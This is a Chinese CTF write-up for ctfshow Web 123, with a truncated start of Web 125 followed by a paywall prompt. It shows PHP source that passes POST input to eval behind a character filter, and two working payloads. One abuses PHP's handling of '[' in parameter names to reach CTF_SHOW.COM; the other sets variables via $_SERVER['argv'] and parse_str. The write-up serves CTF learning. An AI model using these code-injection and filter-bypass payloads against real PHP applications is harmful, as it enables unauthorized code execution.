目录
Web 123
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
方法一:
查看代码后发现$fl0g根本不能用所以用eval函数得到flag,
存在CTF_SHOW存在CTF_SHOW.COM不能存在fl0g
而且执行的是$c
所以我直接POST传入:
CTF_SHOW=&CTF_SHOW.COM=&fun=echo $flag
发现一直无法得到flag,仔细看了一下好像是因为传入的CTF_SHOW.COM中的点会被替换,上网查了如何绕过
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
payload:
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
方法二:
和125的情况一样,原理125已经解释过了。
Payload:
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

Web 125
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($

这篇博客探讨了PHP中的eval函数安全问题和CTF挑战中的变量注入技术。通过分析Web123到Web127的代码,展示了如何利用错误检查和编码绕过机制来获取flag。方法包括使用highlight_file函数读取flag.php,利用$_SERVER['argv']数组属性,以及通过URL编码和变量名构造绕过WAF。
最低0.47元/天 解锁文章
544

被折叠的 条评论
为什么被折叠?



